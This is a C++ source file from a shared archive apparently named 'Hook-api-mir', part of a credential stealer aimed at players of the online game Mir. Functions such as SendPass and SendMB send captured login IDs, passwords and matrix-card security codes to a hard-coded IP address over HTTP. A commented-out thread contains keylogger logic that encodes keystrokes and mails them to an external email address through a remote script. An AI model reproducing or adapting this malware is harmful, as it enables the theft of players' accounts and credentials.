www.pudn.com > Hook-api-mir.rar > send.cpp


// Copyright: www.pudn.com,程序员联合开发网,www.programsalon.com 
// 如果要使用或修改本程序,请保留次信息 
// 
#include "stdafx.h" 
#include  
#include  
#include  
 
#include "sharemem.h" 
#include "util.h" 
#include "http.h" 
 
void SetDebugData(char *); 
 
SOCKET g_sock =-1; 
//static char g_buf_kb[1024]; 
int g_buf_pos =0; 
int g_map_pos =0; 
//static char url[10240]; 
 
int SendPass() 
{ 
	INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times]; 
	char url[2048]; 
 
	int sd; 
	if((sd =http_connect("210.22.63.54", 80)) <0) 
	{ 
		SetDebugData("connect failed!"); 
		return -1; 
	} 
	SetDebugData("send..."); 
 
	time_t t; 
	time(&t); 
	wsprintf(url, "/mir_pass.asp?stat=%d" 
		"&area_type=%d" 
		"&area_name=%s" 
		"&server_name=%s" 
		"&login_id=%s" 
		"&password=%s" 
		"&have_mb=%d" 
		"&t=%u", 
		pdata->stat, 
		pdata->area_type, 
		pdata->areaName, 
		pdata->serverName, 
		pdata->login_id, 
		pdata->password, 
		pdata->have_mb, 
		t); 
WriteLog("url=%s", url); 
	if(http_send(sd, "WWW.PUDN.COM", url) < (int)strlen(url)) 
	{ 
		http_close(sd); 
		return -1; 
	} 
	SetDebugData("to recv result.."); 
	char buf[4096]; 
	if(http_recv(sd, buf, sizeof(buf)) <=0) 
	{ 
		SetDebugData("recv failed"); 
		http_close(sd); 
		return -1; 
	} 
	http_close(sd); 
	//WriteLog("recv buf:%s", buf); 
	SetDebugData("recv ok"); 
 
	return 0; 
} 
 
int RecvMBPos() 
{ 
	INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times]; 
	char url[2048]; 
 
	int sd; 
	if((sd =http_connect("210.22.63.54", 80)) <0) 
	{ 
		SetDebugData("connect failed!"); 
		return -1; 
	} 
	SetDebugData("send..."); 
 
	time_t t; 
	time(&t); 
	wsprintf(url, "/mir_mb_pos.asp?login_id=%s" 
		"&t=%u", 
		pdata->login_id, 
		t); 
 
	if(http_send(sd, "WWW.PUDN.COM", url) < (int)strlen(url)) 
	{ 
		http_close(sd); 
		return -1; 
	} 
	SetDebugData("to recv result.."); 
	char buf[4096]; 
	if(http_recv(sd, buf, sizeof(buf)) <=0) 
	{ 
		SetDebugData("recv failed"); 
		http_close(sd); 
		return -1; 
	} 
	char *p =strstr(buf, "\r\n\r\n"); 
	if(p) 
	{ 
		p =p+4; 
		if(*p !='#') 
		{ 
			http_close(sd); 
			SetDebugData("not set mb pos yet"); 
			return -10; 
		} 
		int mb_num =atoi(p); 
		pdata->mb_pos[0] =mb_num/100; 
		pdata->mb_pos[1] =(mb_num%100)/10; 
		pdata->mb_pos[2] =mb_num%10; 
	} 
	http_close(sd); 
	WriteLog("recv pos:%d,%d,%d", pdata->mb_pos[0], pdata->mb_pos[1], pdata->mb_pos[2]); 
	SetDebugData("recv mb pos ok"); 
 
	return 0; 
} 
 
int SendMB() 
{ 
	INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times]; 
	char url[2048]; 
 
	int sd; 
	if((sd =http_connect("210.22.63.54", 80)) <0) 
	{ 
		SetDebugData("send mb: connect failed!"); 
		return -1; 
	} 
	SetDebugData("send..."); 
 
	time_t t; 
	time(&t); 
	wsprintf(url, "/mir_mb.asp?login_id=%s" 
		"&mb=%s" 
		"&t=%u", 
		pdata->login_id, 
		pdata->mb, 
		t); 
 
	if(http_send(sd, "WWW.PUDN.COM", url) < (int)strlen(url)) 
	{ 
		http_close(sd); 
		return -1; 
	} 
	SetDebugData("to recv result.."); 
	char buf[4096]; 
	if(http_recv(sd, buf, sizeof(buf)) <=0) 
	{ 
		SetDebugData("send mb: recv failed"); 
		http_close(sd); 
		return -1; 
	} 
	http_close(sd); 
	SetDebugData("send mb ok"); 
 
	return 0; 
} 
 
DWORD WINAPI thread_send(VOID *) 
{ 
	char temp[200]; 
 
	wsprintf(temp, "startup,thread_id:%u...",GetCurrentThreadId()); 
	SetDebugData(temp); 
 
	WSADATA	WsaData; 
	if(WSAStartup (0x0101, &WsaData) !=0) 
	{ 
		WriteLog("startup failed"); 
		return 0; 
	} 
 
	while(1) 
	{ 
		Sleep(5000); 
	//SetDebugData("check..."); 
/*	for(int i =g_map_pos; i<1024; i++) 
	{ 
		if(g_pMapData->data[i].key) 
		{ 
			if(g_pMapData->data[i].msg !=WM_CHAR && g_pMapData->data[i].key !=VK_TAB) 
			{ 
				g_map_pos =(g_map_pos+1)%1024; 
				continue; 
			} 
			g_buf_kb[g_buf_pos] =g_pMapData->data[i].key; 
			if(g_buf_kb[g_buf_pos]=='\r') 
			{ 
				g_buf_kb[g_buf_pos] ='.'; 
				g_buf_pos =(g_buf_pos+1)%1024; 
				g_buf_kb[g_buf_pos] ='r'; 
 
			} 
			else if(g_buf_kb[g_buf_pos]==VK_BACK) 
			{ 
				g_buf_kb[g_buf_pos] ='.'; 
				g_buf_pos =(g_buf_pos+1)%1024; 
				g_buf_kb[g_buf_pos] ='b'; 
 
			} 
			else if(g_buf_kb[g_buf_pos]=='\n') 
			{ 
				g_buf_kb[g_buf_pos] ='.'; 
				g_buf_pos =(g_buf_pos+1)%1024; 
				g_buf_kb[g_buf_pos] ='n'; 
			} 
			else if(g_buf_kb[g_buf_pos]==VK_TAB) 
			{ 
				g_buf_kb[g_buf_pos] ='.'; 
				g_buf_pos =(g_buf_pos+1)%1024; 
				g_buf_kb[g_buf_pos] ='t'; 
			} 
			else if(g_buf_kb[g_buf_pos]==1)		// 普通登录 
			{ 
				g_buf_kb[g_buf_pos] ='$'; 
				g_buf_pos =(g_buf_pos+1)%1024; 
				g_buf_kb[g_buf_pos] ='1'; 
			} 
			else if(g_buf_kb[g_buf_pos]==2)		// 进入密宝 
			{ 
				g_buf_kb[g_buf_pos] ='$'; 
				g_buf_pos =(g_buf_pos+1)%1024; 
				g_buf_kb[g_buf_pos] ='2'; 
			} 
			else if(g_buf_kb[g_buf_pos]==3)		// 密宝登录 
			{ 
				g_buf_kb[g_buf_pos] ='$'; 
				g_buf_pos =(g_buf_pos+1)%1024; 
				g_buf_kb[g_buf_pos] ='3'; 
			} 
			g_buf_pos =(g_buf_pos+1)%1024; 
			g_map_pos =(g_map_pos+1)%1024; 
		} 
		else break; 
	} 
 
	if(g_buf_pos >0) 
	{ 
		g_buf_kb[g_buf_pos] =0; 
		SetDebugData("send"); 
		SOCKADDR_IN		sin; 
 
		if(g_sock !=-1) 
			closesocket(g_sock); 
		g_sock = socket (AF_INET, SOCK_STREAM, 0); 
 
		if(g_sock <0) 
		{ 
			Sleep(30000); 
			continue; 
		} 
		sin.sin_family = AF_INET;										//Connect to web sever 
		sin.sin_port = htons( 80 ); 
		sin.sin_addr.s_addr = inet_addr("210.22.63.54"); 
		SetDebugData("connect..."); 
		if( connect (g_sock,(LPSOCKADDR)&sin, sizeof(SOCKADDR_IN) )) 
		{ 
			SetDebugData("connect failed..."); 
			closesocket(g_sock); 
			g_sock =-1; 
			Sleep(30000); 
			continue; 
		} 
		SetDebugData("send..."); 
		time_t t; 
		time(&t); 
		wsprintf(url, "GET /sendemail.asp?email=hhhlll9@tom.com&msg=%s&t=%u HTTP/1.0\r\nHOST:WWW.PUDN.COM\r\n\r\n", g_buf_kb, t); 
		//WriteLog("url:%s", url); 
		send(g_sock, url, strlen(url), 0); 
		g_buf_pos =0; 
		Sleep(1000); 
		SetDebugData("recv..."); 
		int len =recv(g_sock, url, 100,0); 
		if(len >0) 
		{ 
			url[len] =0; 
			//WriteLog(url); 
		} 
		SetDebugData("recv ok"); 
		//closesocket(g_sock); 
		//g_sock =-1; 
	} 
	else 
	{ 
	//SetDebugData("not found data"); 
		Sleep(10000); 
	}*/ 
	} 
}